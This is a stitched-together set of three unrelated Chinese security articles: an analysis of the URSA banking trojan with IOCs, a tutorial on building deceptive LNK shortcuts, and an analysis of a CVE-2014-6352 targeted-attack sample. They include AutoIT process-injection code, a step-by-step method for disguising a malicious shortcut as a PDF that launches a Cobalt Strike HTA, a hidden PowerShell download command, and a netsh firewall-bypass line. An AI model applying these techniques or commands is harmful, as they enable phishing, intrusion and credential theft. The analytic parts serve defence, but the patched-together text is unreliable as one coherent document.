一般来说，下一个恶意软件阶段分几个部分从C2服务器检索，然后动态构建。这些文件在恶意软件执行期间被加密和解密。接下来，在这个过程中生成一个最终的PE文件。下面介绍一些有趣的函数。值得注意的是，用于下载文件的用户代理是：“strusagentstring=“binary-getter/1.0””。
图11:VBScript文件的一些部分和函数。
在受害者启动下一个阶段后，对其进行初步验证，然后将检索操作系统（OS）版本，如果是虚拟环境，则脚本将终止其执行。按照这个逻辑，最终的有效载荷就不会从C2上加载和下载，这使得它至少不会被防病毒引擎标记。
图12:URSA加载程序上发现的反VM技术。
接下来，脚本验证受害者设备是否位于攻击者定义的目标位置，即：
* Spanish – Spain (Traditional) 1034
* Portuguese – Brazil – 1046
* Spanish – Mexico – 2058
* Portuguese – Portugal – 2070
* Spanish – 58378, 3082
图13：受URSA恶意软件影响的目标位置。
如果受害者的计算机以不同于硬编码的语言ID执行，或者计算机名等于“JOHN-PC”，则感染过程停止。将计算机名改为“JOHN-PC”是避免URSA感染的潜在杀手锏。
此时，下一阶段从C2服务器下载。这些文件存储在C:\Users\Public文件夹（tmp文件）中，然后移动到在C:\驱动器上创建的随机文件夹中。此文件夹的名称基于计算机名。
图14：从C2服务器下载下一个二进制文件（AutoIT–injector/loader）和URSA木马（一个注入内存的Delphi二进制文件）。
在此过程中，还下载了另外两个dll。一个是SSL的DLL，另一个是SQLite3的DLL。它们可能是恶意软件中打包的依赖项，如果目标计算机上没有安装这些DLL/资源，则可以避免失败。我们将观察到最终的二进制文件——ursadelphi——里面有两个工具并打包了。这些工具是在凭证获取过程中使用的合法软件。
在这个复杂的过程之后，最后的文件被移到C:\“artibrary_name”文件夹中。
图15:Final stage被移动到在C:\（本例中为o0t）上创建的随机文件夹中。
接下来，执行另一个加载器/注入器，AutoIT文件。它负责将最终有效负载（包含木马代码和恶意进程的Delphi文件）加载到内存中。
图16：执行最终有效载荷。
Ursa木马程序–AutoIT loader/injector
> 威胁名称：n11ai.exe
> MD5:c56b5f0201a3b3de53e561fe76912bfd
> 威胁名称：n111.11n
> MD5:7396051fd6575180166d66ddf0a9295b
> 威胁名称：winx86.dll
> MD5:87f9e5a6318ac1ec5ee05aa94a919d7a
> 威胁名称：libeay32.dll
> MD5:f3e6c0d52bab27289db2a70e4aab628c
> 威胁名称：n11
> MD5:71fdf07084a741b553b97b0d0815fa0e
AutoIT二进制文件受保护，可以使用GitHub上的以下脚本进行反编译。该脚本是myAut2Exe的一个构建版本，它是在2.12版本的基础上修改而来的。
图17:AutoIT反编译代码（n11ai.exe).
如前所述，为了执行进程注入技术，从kernel32.dll导入了一些调用。
LOCAL $KERNELHANDLE=DLLCALL($_MDKERNEL32DLL,"ptr","LoadLibrary","str","kernel32.dll")
$_MFHOOKBAK=DLLSTRUCTCREATE("ubyte[7]")
DLLCALL($_MDKERNEL32DLL,"int","WriteProcessMemory","ptr",-1,"ptr",DLLSTRUCTGETPTR($_MFHOOKBAK),"ptr",$_MFHOOKPTR,"uint",7,"uint*",0)
DLLCALL($_MDKERNEL32DLL,"int","WriteProcessMemory","ptr",-1,"ptr",$_MFHOOKPTR,"byte*",184,"uint",1,"uint*",0)
DLLCALL($_MDKERNEL32DLL,"int","WriteProcessMemory","ptr",-1,"ptr",$_MFHOOKPTR+5,"ushort*",57599,"uint",2,"uint*",0)
具体来说，文件n111.11n是导入的dll之一–Delphi
PE文件。根据传递的参数注入所有DLL文件。这些命令在图17中VBScript加载程序的末尾执行。
"C:\o0t\n11ai.exe" n11 @
"C:\o0t\n11ai.exe.exe" n11 ##1
"C:\o0t\n11ai.exe.exe" /stext "WWy1"
"C:\o0t\n11ai.exe.exe" n11 ##3
"C:\o0t\n11ai.exe.exe" /stext "WWy0"
在细节上，这个自动装载机按部件加载恶意软件，即：
* n11@–AutoIT内部的DLL，用于将Delphi二进制文件加载到内存中。
* n11/stext“WWy1”–执行从浏览器收集密码的模块。
* n11/stext“WWy0”–执行从流行软件（FTP、email等）收集凭据的模块。
图18：注入内存的DLL（Delphi二进制文件和其他）。
另一方面，这两个dll似乎引用SSL和SQLite3，它们可能是执行delphipe文件（winx86.dll和libeay32.dll）中可用工具的依赖项。
图19:dll存储在AutoIT二进制文件的同一路径中（Delphi加载程序）。
挖掘URSA的最后阶段（Delphi木马）
> 威胁名称：36f0000.rec.dll (extracted from memory)
> MD5:309335fe1e4f27029a8ec6087e0de1f4
最后一个阶段是一个Delphi二进制文件，负责执行浏览器覆盖来控制和窃取受害者访问其家庭银行门户网站的数据。这里观察到的活动和代码相似性与在葡萄牙和拉丁美洲运行的其他经过分析和流行的木马非常接近，例如Grandoreiro和Lampion[1,2]。根据ESET的分析，最终的有效载荷是Mispadu，一种雄心勃勃的拉丁美洲银行业木马，它将攻击面扩展到web浏览器。
Delphi二进制文件中还有两个合法的工具。这些工具用于收集存储在受害者设备上的凭据。
图20:Delphi二进制文件中可用的二进制文件。
这些工具在最后阶段开始时执行，数据存储在下面突出显示的标记“F1”和“F2”之间。
图21：执行凭证窃取模块的代码块。
具体来说，这些工具是合法的，来自Nir-Sofer。第一个是在内存中启动WebBrowserPassView，用于从流行的web浏览器中过滤凭证。另一方面，Mail
PassView用于从多个位置收集数据。
图22：嵌入在木马文件中并用于从受感染设备收集数据的工具。
在快结束时，数据被发送到C2服务器。
图23：收集受害者的凭证并发送到C2服务器。
木马同时监听和监视受害者访问的窗口和网站（它将焦点窗口放在web浏览器上）。访问目标银行门户时，将根据访问的银行门户在合法的web浏览器窗口上创建覆盖窗口。
简而言之，下一个数字显示了一些目标银行被URSA木马攻击者“操纵”情况。
图24:URSA木马攻击者运营的目标银行组织。
完整的列表可以在下面找到。
.text:039E67D0 00000010 unicode BMSC_BO
.text:039E67EC 0000001C unicode BANCOUNION_BO
.text:039E6814 0000000E unicode BNB_BO
.text:039E6830 00000010 unicode BISA_BO
.text:039E684C 0000000E unicode BCP_BO
.text:039E6868 00000014 unicode FASSIL_BO
.text:039E6888 00000018 unicode BANCOFIE_BO
.text:039E68AC 00000018 unicode BANCOSOL_BO
.text:039E68D0 0000000C unicode BG_BO
.text:039E68E8 00000014 unicode BANECO_BO
.text:039E6908 0000001A unicode CORPBANCA_CH
.text:039E6930 00000010 unicode BBCA_CH
.text:039E694C 00000024 unicode BANCOFALABELLA_CH
.text:039E697C 00000020 unicode BANCOEDWARDS_CH
.text:039E69A8 0000001E unicode BANCORIPLEY_CH
.text:039E69D4 00000018 unicode TBANCWLS_CH
.text:039E69F8 00000014 unicode BANEFE_CH
.text:039E6A18 0000001C unicode SCOTIABANK_CH
.text:039E6A40 00000010 unicode BICE_CH
.text:039E6A5C 0000001C unicode BANCOINTER_CH
.text:039E6A84 00000024 unicode BANCOCONSORCIO_CH
.text:039E6AB4 00000010 unicode BITCOIN
.text:039E6AD0 0000000E unicode PAYPAL
.text:039E6AEC 00000014 unicode BANKIA_ES
.text:039E6B0C 00000018 unicode SABADELL_ES
.text:039E6B30 0000001A unicode BANKINTER_ES
.text:039E6B58 00000018 unicode IBERCAJA_ES
.text:039E6B7C 0000001A unicode LIBERBANK_ES
.text:039E6BA4 00000014 unicode ABANCA_ES
.text:039E6BC4 0000001C unicode KUTXABANCA_ES
.text:039E6BEC 00000016 unicode UNICAJA_ES
.text:039E6C10 00000012 unicode GERAL_PT
.text:039E6C30 0000000E unicode BPI_PT
.text:039E6C4C 0000001A unicode NOVOBANCO_PT
.text:039E6C74 0000000E unicode BCP_PT
.text:039E6C90 0000000E unicode CGD_PT
.text:039E6CAC 00000014 unicode ACTIVO_PT
.text:039E6CCC 00000018 unicode MONTEPIO_PT
.text:039E6CF0 0000001C unicode CREDITOAGR_PT
.text:039E6D18 0000000E unicode BPM_IT
.text:039E6D34 00000010 unicode BPER_IT
.text:039E6D50 00000016 unicode UNICRED_IT
.text:039E6D74 00000018 unicode SAMPAOLO_IT
.text:039E6D98 0000000E unicode BNL_IT
.text:039E6DB4 00000018 unicode BANCAMPS_IT
.text:039E6DD8 0000001A unicode SANTANDER_CH
.text:039E6E00 0000001A unicode SANTANDER_ES
.text:039E6E28 00000010 unicode BBVA_ES
.text:039E6E44 0000001A unicode CAIXABANK_ES
.text:039E6E6C 0000001A unicode SANTANDER_PT
.text:039E6E94 00000010 unicode BBVA_MX
.text:039E6EB0 00000014 unicode AZTECA_MX
.text:039E6ED0 00000016 unicode BANAMEX_MX
.text:039E6EF4 00000016 unicode BANORTE_MX
.text:039E6F18 00000012 unicode SANTA_MX
.text:039E6F38 00000010 unicode HSBC_MX
.text:039E6F54 00000014 unicode SCOTIA_MX
.text:039EA11C 0000000A unicode bbva
.text:039EA134 0000000A unicode xico
.text:039EA15C 00000008 unicode 99_
.text:039EA170 00000006 unicode 99
.text:039EA184 0000000A unicode BBVA
.text:039EA1AC 0000000C unicode banco
.text:039EA1C4 0000000E unicode azteca
.text:039EA1E0 0000001A unicode Banco Azteca
.text:039EA208 0000001C unicode banconacional
.text:039EA230 00000010 unicode agrcola
.text:039EA24C 00000032 unicode Banco Nacional de México
.text:039EA28C 00000010 unicode banorte
.text:039EA2A8 00000010 unicode Banorte
.text:039EA2C4 00000014 unicode santander
.text:039EA2E4 0000001E unicode bancadeempresa
.text:039EA310 0000000C unicode mxico
.text:039EA328 00000012 unicode gobierno
.text:039EA348 0000000A unicode pyme
.text:039EA360 00000020 unicode Banco Santander
.text:039EA38C 00000014 unicode caixabank
.text:039EA3AC 00000008 unicode bpi
.text:039EA3C0 00000014 unicode CaixaBank
.text:039EA3E0 00000016 unicode scotiabank
.text:039EA404 0000000E unicode Scotia
.text:039EA420 0000000A unicode hsbc
.text:039EA438 0000000A unicode HSBC
.text:039EA450 0000000A unicode solu
.text:039EA468 00000010 unicode advance
.text:039EA484 00000012 unicode investor
.text:039EA4A4 00000012 unicode Santader
.text:039EA4C4 00000016 unicode blockchain
.text:039EA4E8 00000010 unicode bitcoin
.text:039EA504 00000010 unicode binance
.text:039EA520 00000012 unicode coinbase
.text:039EA540 0000000E unicode kraken
.text:039EA55C 0000000E unicode crypto
.text:039EA578 00000012 unicode primebit
.text:039EA598 0000000C unicode bitso
.text:039EA5B0 0000000E unicode paypal
.text:039EA5CC 0000000E unicode bankia
.text:039EA5E8 0000001C unicode bancosabadell
.text:039EA610 00000014 unicode bankinter
.text:039EA630 00000012 unicode ibercaja
.text:039EA650 00000014 unicode liberbank
.text:039EA670 0000000E unicode abanca
.text:039EA68C 00000014 unicode kutxabank
.text:039EA6AC 0000001A unicode unicajabanco
.text:039EA6D4 00000012 unicode bancobpi
.text:039EA6F4 00000014 unicode novobanco
.text:039EA714 0000001C unicode millenniumbcp
.text:039EA73C 0000001A unicode caixadirecta
.text:039EA764 00000016 unicode activobank
.text:039EA788 00000012 unicode montepio
.text:039EA7A8 00000014 unicode crditoagr
.text:039EA7C8 0000002C unicode bancapopolaredemilano
.text:039EA800 00000012 unicode bancobpm
.text:039EA820 0000000A unicode bper
.text:039EA838 00000014 unicode unicredit
.text:039EA858 00000010 unicode banking
.text:039EA874 00000028 unicode bancaintesasanpaolo
.text:039EA8A8 00000008 unicode bnl
.text:039EA8BC 0000000C unicode banca
.text:039EA8D4 00000012 unicode bancamps
在恶意软件分析过程中，我们得到了一些有趣的覆盖窗口。更多的细节和完整的图片在文章的最后展示。
图25:URSA木马的银行覆盖窗口。
当恶意软件检测到受害者访问了一个目标银行门户时，就会建立到恶意软件运营商（C2服务器）的套接字连接。攻击者控制着每一步，在后台门户中一步一步地请求特定数据。图26显示了恶意软件中硬编码的一些命令。
图26:URSA木马的内部命令。
### 指挥控制中心的细节和受害者的数据
在恶意软件执行期间，受害者的数据被发送到C2。在我们的分析过程中，我们有可能收集到在这波浪潮（6月至9月中旬）中受影响的受害者人数的信息，以及从受害者设备中过滤出的所有数据。
图27：一些受影响的用户和安装并运行在受感染设备中的AV引擎。
有趣的是，至少在收集凭证的阶段，这个恶意软件逃避了AV检测。我们可以在图28中看到，许多受影响的计算机正在运行流行的防病毒软件，并受到这种威胁的感染。所有的数据都存储在另一侧的服务器上。文件以id语言（Portugal
– 2070）开头，后跟计算机名、木马编译id，最后是C2数据库中的受害者id。
图28:Ursa木马-受害者的详细信息。
本文中最初提到的地理地图是基于以下可用的C2s，并基于在那里发现的可用感染的数量。
### URSA木马–银行覆盖窗口
### IOCs
---- Phishing URLs Portugal #0xSI_f33d ---
hxxps://medeiros-boatworks.]com/wp-content/!/https:/my.vodafone.pt/?client=xxx
hxxps://publichealth.msu.ac.]th/eng/wp-content/languages/--/my.vodafone.pt/?client=xxx
hxxps://kresna.co.]id/sarikresnakimia/wp-content/!/www.edp.pt/?client=xxx
hxxps://robyn-plombier-chauffagiste.fr/wp-admin/css/--/https:/www.policiajudiciaria.pt/?cliente=xxxx
---- URLS ----- hxxp://191.235.99.]13/lp1a.php
hxxp://191.235.99.]13/m/
#### \---- C2 -----
191.235.99.]13（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=191.235.99.13
"ZoomEye搜索结果")）
52.91.227.]152（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=52.91.227.152
"ZoomEye搜索结果")）
87.98.137.]173（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=87.98.137.173
"ZoomEye搜索结果")）
144.217.32.]24（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=144.217.32.24
"ZoomEye搜索结果")）
51.81.104.]17（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=51.81.104.17
"ZoomEye搜索结果")）
104.44.143.]28（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=104.44.143.28
"ZoomEye搜索结果")）
51.143.39.]80（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=51.143.39.80
"ZoomEye搜索结果")）
45.132.242.]89（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.132.242.89
"ZoomEye搜索结果")）
13.58.123.]122（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=13.58.123.122
"ZoomEye搜索结果")）
51.222.39.]127（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=51.222.39.127
"ZoomEye搜索结果")）
66.70.237.]175（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=66.70.237.175
"ZoomEye搜索结果")）
54.233.78.]131（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=54.233.78.131
"ZoomEye搜索结果")）
51.222.39.]128（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=51.222.39.128
"ZoomEye搜索结果")）
54.39.33.]188（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=54.39.33.188
"ZoomEye搜索结果")）
### 联机沙盒URL
554S2000A2S144D1S4111D.msi:
<https://www.virustotal.com/gui/file/23892054f9494f0ee6f4aa8749ab3ee6ac13741a0455e189596edfcdf96416b3/details>
px3q8x.vbs initial VBScript:
<https://www.virustotal.com/gui/file/d1fb8a5061fc40291cc02cec0f1c2d13168b17d22ffcabea62816e14ed58e925/>
final payload (VBScript):
<https://www.virustotal.com/gui/file/5b91c8acffe1980653718a493e24bde7211ee825ea2947df54c03e9733d61a70/details>
n11ai.exe (AutoIt loader/injector):
<https://www.virustotal.com/gui/file/237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d/details>
6f0000.dll (Delphi trojan):
<https://www.virustotal.com/gui/file/93488eab403fafb3d8e10d38c80f0af745e3fa4cf26228acff24d35a149f6269/detection>
Samples MalwareBazaar:
<https://bazaar.abuse.ch/browse/tag/URSA%20trojan/>
* * * | 社区文章 |
## 0x01 LNK文件格式解析
文件前20字节固定不变：
* HeaderSize(4 bytes, `offset 0x00`)：0x0000004C
* LinkCLSID(16 bytes, `offset 0x04`)：00021401-0000-0000-C000-000000000046
#### 0x01.1 LinkFlags
由`offset 0x14`起始4字节为LinkFlags(下图来自微软官方文档)：
由图片2可以看到，该文件LinkFlags为0x000802DB(Bin：0000 0000 0000 1000 0000 0010 1101
1011)，这表示以下Flag被设置：
* HasLinkTargetIDList
* HasLinkInfo
* HasRelativePath
* HasWorkingDir
* HasIconLocation
* IsUnicode
* HasExpIcon
* DisableLinkPathTracking
上述Flag会在下文解释，故此处先不做展开。
#### 0x01.2 FileAttributes
由`offset 0x18`起始4字节为FileAttributes， 0x00000020表示`FILE_ATTRIBUTE_ARCHIVE`。
#### 0x01.3 CreateTime & AccessTime & WriteTime
由`offset 0x1C`开始，每个字段各占8字节：
#### 0x01.4 FileSize
由图4可以看到，FileSize为0x000E0400(占4个字节)。
#### 0x01.5 IconIndex
IconIndex为0x00000001(占4个字节)。
#### 0x01.6 ShowCommand & Hotkey
由`offset
0x3C`开始，ShowCommand占4字节，0x00000001表示SW_SHOWNORMAL；Hotkey占2字节；余下10个字节均为保留位。
* * *
#### 0x01.7 LinkTargetIDList
由于LinkFlags中`HasLinkTargetIDList`设为1，故文件包含LinkTargetIDList结构。LinkTargetIDList构成如下：
而IDList由ItemID构成，以2字节全为0的TerminalID作为结束：
下面来看示例文件中的LinkTargetIDList：
上图红色部分为IDListSize，绿色部分为TerminalID，中间蓝色部分则为IDList。下面来看IDList，第一个ItemID如下：
* ItemIDSize(2 bytes, offset 0x004E)：0x0014
* Data(12 bytes, offset 0x0050)：根据微软官方文档给出的信息，其含义为computer
第二个ItemID：
* ItemIDSize(2 bytes, offset 0x0062)：0x0019
* Data(23 bytes, offset 0x0064)：其含义为c:
第三个ItemID：
不再赘述，其含义为Windows。
第四个ItemID：
其含义为System32。
第五个ItemID：
#### 0x01.8 LinkInfo
由于LinkFlags中`HasLinkInfo`设为1，故文件包含LinkInfo结构。LinkInfo构成如下：
下面来看下示例文件中的LinkInfo：
* LinkInfoSize(4 bytes, offset 0x017B)：0x00000053
* LinkInfoHeaderSize(4 bytes, offset 0x017F)：LinkInfo结构定义中指定该字段为0x0000001C
* LinkInfoFlags(4 bytes, offset 0x0183)：0x00000001，表示VolumeIDAndLocalBasePath标志位设为1
* VolumeIDOffset(4 bytes, offset 0x0187)：0x0000001C，自`offset 0x017B`处VolumeID偏移大小
* LocalBasePathOffset(4 bytes, offset 0x018B)： 0x00000035，自`offset 0x017B`处LocalBasePath偏移大小
* CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F)：0x00000000，CommonNetworkRelativeLink不存在
* CommonPathSuffixOffset(4 bytes, offset 0x0193)：0x00000052，自`offset 0x017B`处CommonPathSuffix偏移大小
* VolumeID(25 bytes, offset 0x0197)：由于VolumeIDAndLocalBasePath设置为1，故包含VolumeID结构如下：
* VolumeIDSize(4 bytes, offset 0x0197)：0x00000019
* DriveType(4 bytes, offset 0x019B)：DRIVE_FIXED(3)
* DriveSerialNumber(4 bytes, offset 0x019F)
* VolumeLabelOffset(4 bytes, offset 0x01A3)：0x00000010，自`offset 0x0197`处VolumeLabel偏移大小
* Data(9 bytes, offset 0x01A7)：Windows7
* LocalBasePath(29 bytes, offset 0x01B0)：由于VolumeIDAndLocalBasePath设置为1，故包含LocalBasePath——"C:\Windows\System32\calc.exe"。该字段为指向链接目标的完整路径。
* CommonPathSuffix(1 byte, offset 0x01CD)：空字符
#### 0x01.9 String Data
每个String Data结构如下：
由于LinkFlags中`HasRelativePath`设为1，故文件包含RELATIVE_PATH字符串：
红色部分是CountCharacters(Unicode字符串长度，故应该为0x22*2=0x44)，蓝色部分则为String。
之后是WORKING_DIR字符串：
ICON_LOCATION字符串：
#### 0x01.10 EnvironmentVariableDataBlock
由于LinkFlags中`HasExpString`设为1，故文件包含EnvironmentVariableDataBlock：
* BlockSize(4 bytes)：该字段值必须为0x0314
* BlockSignature (4 bytes)：该字段值必须为0xA0000001
* TargetAnsi (260 bytes)：指定环境变量路径(ANSI字符串)，详见下图。
* TargetUnicode(520 bytes)：指定环境变量路径(UNICODE字符串)，详见下图。
#### 0x01.11 EXTRA_DATA
由零个或多个下列数据块与TERMINAL_BLOCK组成：
示例文件中的EXTRA_DATA包含SpecialFolderDataBlock：
* BlockSize(4 bytes)： 0x00000010
* BlockSignature(4 bytes)： 0xA000005，标识SpecialFolderDataBlock
* SpecialFolderID (4 bytes)：0x00000025，指定Folder ID
* Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五个ItemID
KnownFolderDataBlock：
* BlockSize(4 bytes)： 0x0000001C
* BlockSignature(4 bytes)： 0xA00000B，标识KnownFolderDataBlock
* KnownFolderID(16 bytes)：GUID
* Offset(4 bytes)：0x000000D5，偏移大小，指向IDList中第五个ItemID
PropertyStoreDataBlock：
* BlockSize(4 bytes)： 0x000001F4
* BlockSignature(4 bytes)： 0xA000009，标识PropertyStoreDataBlock
* PropertryStore(492 bytes)
TrackerDataBlock：
* BlockSize(4 bytes)： 0x00000060
* BlockSignature(4 bytes)： 0xA000003，标识TrackerDataBlock
* Length(4 bytes)：0x00000058，该数据块最小长度
* Version(4 bytes)：0x00000000
* MachineID(16 bytes)
* Droid(32 bytes)：2 GUID
* DroidBirth(32 byte)：2 GUID
## 0x02 构造迷惑性LNK文件
我们首先生成一个正常的LNK文件：
之后更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个：
#### 0x02.1 修改图标
用010 Editor打开该LNK文件，找到String Data部分ICON_LOCATION字符串：
我们要将其修改为`.\1.pdf`(Unicode)，其长度0x07：
其效果如下所示(左边机器打开PDF文件的默认程序是XODO PDF Reader，中间是Adobe Reader，右边是谷歌浏览器)：
#### 0x02.2 修改目标
原始目标如下所示：
现在我们修改EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode：
将其修改为`%windir%\system32`目录不存在的一个EXE文件名。
效果展示：
但这时双击该文件会报错：
所以我们需要再修改LinkTargetIDList中第五个ItemID：
如此一来，打开该文件便会弹出计算器：
## 0x03 扩展
首先新建一指向`%windir%\System32\mshta.exe`的快捷方式(文件名尽量带有迷惑性)，并更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个：
之后更改其参数为HTA下载地址：
注：笔者是使用Cobalt Strike生成HTA文件：
于其执行payload前增加如下 语句：
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'\LNK文件格式解析(修改版).pdf');Start-Process $env:temp'\LNK文件格式解析(修改版).pdf'", 0, true
这样一来，在受害者打开LNK文件后会从远程下载一正常PDF文档并打开。
接下来按照0x02部分所述方法修改即可，此处加一个Tip——在其WORKING_DIR字符串前面添加大量空格字符，使其目标长度超过260个字符：
使用`copy \B`命令将其与正常PDF文档捆绑，使其文件大小看起来更具有说服力：
之后双击该LNK文件，主机便会上线，而受害者会看到一正常的PDF文档：
效果展示： | 社区文章 |
# CVE-2014-6352漏洞及定向攻击样本分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**引子**
人在做,天在看。
近期360天眼实验室捕获到一例针对印度的定向攻击样本,样本利用了沙虫漏洞的补丁绕过漏洞CVE-2014-6352,经分析确认后我们认为这是趋势科技在今年三月份发布的名为“Operation
C-Major”APT攻击活动的新样本。关于C-Major行动的相关内容,有兴趣的读者可以在文后的参考链接中查看。
本文主要对CVE-2014-6352漏洞做基本的分析并剖析一个现实中利用此漏洞执行定向攻击的案例。
**漏洞分析**
样本利用的漏洞为CVE-2014-6352,该漏洞是CVE-2014-4114的补丁绕过(MS14-060)问题,在管理员模式或者关闭UAC的情况下可以实现不弹出警告窗运行嵌入的恶意程序。与CVE-2014-4114的利用样本相比,CVE-2014-6352样本的特点是没有嵌入inf,只有一个嵌入PE的OLE对象。从攻击者的角度看,这类样本可以说有利有弊。在管理员模式下,可以无警告窗执行PE文件,绕开MS14-060的补丁。但是如果不是在管理员模式下,就算受害者没有安装MS14-060的补丁,也会弹窗提示是否要执行嵌入的EXE文件。
我们知道CVE-2014-4114漏洞的成因在于packager.dll的CPackage::Load方法加载对应的OLE复合文档对象时,对不同类型的复合文档有不同的处理流程,其中对某些复合文档嵌入的不可信来源文件没有经过处理,从而使得攻击者可以通过伪造OLE复合文档的CLSID来达到执行特定文件的效果:
packager!Cpackage:: Load方法中处理不同类型复合文档的分支
在MS14-060这个补丁中,微软通过添加MarkFileUnsafe函数来弥补这个漏洞:
ms14-060补丁中的packager!Cpackage:: EmbedReadFromStream方法
未安装ms14-060的packager!Cpackage:: EmbedReadFromStream方法
MarkFileUnsafe()通过调用IZoneIdentifier::SetId来设置文件的Security
Zone,传入的参数3对应的是设置URLZONE_INTERNET,从而标明此文件来自于其他计算机,运行时会弹出警告窗口:
然而漏洞并不仅仅只是未对不可信来源的文件处理,攻击者还可以通过伪造OLE复合文档的CLSID和XML中的OLE
Verb来改变执行流程。问题还在于对一个exe文件来说,即使被标记了URLZONE_INTERNET之后,右键点击以管理员权限运行时,将不会再弹窗提示该文件来自于其他计算机,而是以UAC的提示窗弹出:
所以只需要构造特定的CLSID和OLE
Verb,使执行流程来到右键界面的第二项管理员权限运行EXE程序,那么在关闭UAC或者管理员权限的情况下,就能绕过MS14-060补丁施加的限制。下面我们结合这次从外面捕获到的样本来展示一下整个漏洞利用的过程。
**样本分析**
首先我们拿到了一个名为vedio.ppsx的PPT文件,MD5为b6a1ee16de885c70682a7a8e4c1b556c
,从VirusTotal的上传来源看为来自印度。对这个ppsx解压处理,可以看到其内嵌了一个OLE对象,嵌入的是一个PE文件:
在video.ppsxpptslidesslide1.xml中,指定了嵌入的对象id = rId3
在video.ppsx pptslides_rels slide1.xml.rels中指定了rId3对应的是前面提到的oleObject1.bin
复合文档对应的CLSID
如下图,是{0003000c-0000-0000-c000-000000000046},对应的是CLSID_OldPackage,那么根据上面的分析,CPackage::Load调用CPackage::PackageReadFromStream进一步处理,PackageReadFromStream会通过CPackage::EmbedReadFromStream在临时目录释放嵌入的PE文件。
packager!CPackage::EmbedReadFromStream中调用了
packager!CopyStreamToFile这个函数,将嵌入的PE释放到temp目录下的putty.exe,并通过MarkFileUnsafe设置文件标记:
然后,通过CPackage::DoVerb方法来响应终端用户的动作,在
CPackage::DoVerb中,会先对第二个参数进行判断,这个参数在video.ppsxpptslidesslide1.xml中指定:
样本中构造的参数是3,所以进入使用popup菜单命令执行操作的流程:
调用GetMenuItemInfo时,第二个参数uItem代表菜单的位置,这里参数为1,也就是右键菜单的第二项,对于exe文件,右键菜单的第二项是“以管理员权限运行”
最终调用了SHELL32!CDefFolderMenu::InvokeCommand方法,这时就会以试图管理员权限运行putty.exe,在关闭了UAC或者管理员模式下,就绕过了MS14-060的保护静默地执行了一个PE文件。
所释放程序的分析
putty.exe
ppt文件释放出来的putty.exe实际上是一个改名后的经过混淆的.NET 程序,MD5为
78fab9978ae4de4f684908f47fdc2333 ,这个程序其实是一个Dropper。
经过去混淆后,我们可以清楚地看到其程序代码,首先遍历是否有杀软进程:
样本在这里其实不是一次遍历查找,而是分成多次遍历穿插在功能代码中,每次查找一到两款杀软的进程,查找的杀软进程如下:
ekrn.exe(ESET)
guardxkickoff.exe(IKARUS)
AvastSvc.exe
btagent.exe
bdagent.exe(BitDefender)
avgui.exe。
然后从资源中读取数据,并解密为一个PE文件
启动cmd进程,将自身拷贝成%temp%nethealth.exe并添加注册表启动项
HKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/Windows –
load这个值可以指定在用户登录后自动运行的程序文件名。
然后将RegAsm.exe拷贝为%temp%svhost.exe
接着以Suspend方式启动svhost.exe,将之前解密出来的PE注入,并恢复线程。
最后在%temp%/net/目录下写入health.exe.bat文件并执行
health.exe.bat的代码如下,作用是不断遍历进程查看svhost.exe是否启动,没有启动的话则将其启动。
svhost.exe
在HKEY_CURRENT_USER中设置一个值di用于判断是否已经感染过该系统:
设置HKEY_CURRENT_USEREnvironmentSEE_MASK_NOZONECHECKS的值为1,这是用于关闭附件管理器检查的:
然后用命令行启动netsh.exe,添加防火墙规则,允许其通过防火墙
命令行如下
netsh firewall add allowedprogram "C:Users***AppDataLocalTempsvhost.exe" "
svhost.exe" ENABLE
---
申请一片内存空间用于存放接收/发送的数据,开始网络连接:
C&C地址: 191.101.23.190
端口号: 5552
收集受害者的系统信息,包括上线时间、系统版本、系统位数、磁盘信息、当前用户等等,并发送出去:
然后开启一个线程循环查询socket是否可读(接收命令):
读取命令后,开启新线程根据指令执行对应的操作:
开启键盘记录线程,并将记录信息保存在注册表HKEY_CURRENT_USERSoftWare
ce99f8fa1676b15364293a0db3d6a707中:
设置自启动项:
接收命令后,对命令做出相应的处理,在switch中根据命令执行对应的功能,这里就不再详细分析,下面给出部分功能与对应的命令,如下:
rn
|
下载/执行文件
---|---
CAP
|
屏幕监控
un
|
自删除、启动和终止进程
up
|
在线更新
Ex
|
加载插件
GTV
|
获取注册表HKEY_CURRENT_USERSoftWare ce99f8fa1676b15364293a0db3d6a707中的键盘记录信息
STV
|
设置注册表HKEY_CURRENT_USERSoftWare ce99f8fa1676b15364293a0db3d6a707开始键盘记录
…..
|
……
IOC
类型
|
值
---|---
C&C
|
191.101.23.190:5552
Downloader URL
|
http://pcdopune.com/ad/video.ppsx
**总结**
在网上公开的IOC平台中发现,该C&C地址与趋势科技在今年三月份发布的“Operation
C-Major”报告中的一个C&C完全一致。另外,样本下载的域名pcdopune.com关联到的其他样本中,也出现了与报告中几乎一样的恶意宏样本,由此我们认为这是与C-Major相关的攻击行动。
根据360威胁情报中心的数据,我们发现本文所涉及的样本仅仅只是C-Major行动中使用的多种Dropper中的一种类型,CVE-2010-3333、CVE-2012-0158等漏洞也被利用来做恶意代码的植入,不仅如此,甚至还利用了宏和脚本,所使用的PE样本更是灵活多变。从这些迹象来看C-Major行动背后团伙非常积极地利用所能得到各种植入手段,极有可能是专业的有背景及一定技术能力的组织。
**参考链接**
